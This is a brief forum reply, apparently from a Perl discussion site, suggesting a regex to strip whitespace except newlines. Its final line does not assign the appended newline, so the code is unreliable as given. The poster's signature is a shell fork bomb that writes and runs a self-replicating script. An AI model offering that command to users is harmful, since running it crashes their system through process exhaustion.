How do you delete all whitespace but the newline?
A simple and probally inefficent way to do it, assuming you're processing one line at a time:
$line =~ s/\s+//g;
# But this replaces \n too, so add it back on the end
$line . "\n";
Cheers,
ibanix
$ echo '$0 & $0 &' > foo; chmod a+x foo; foo;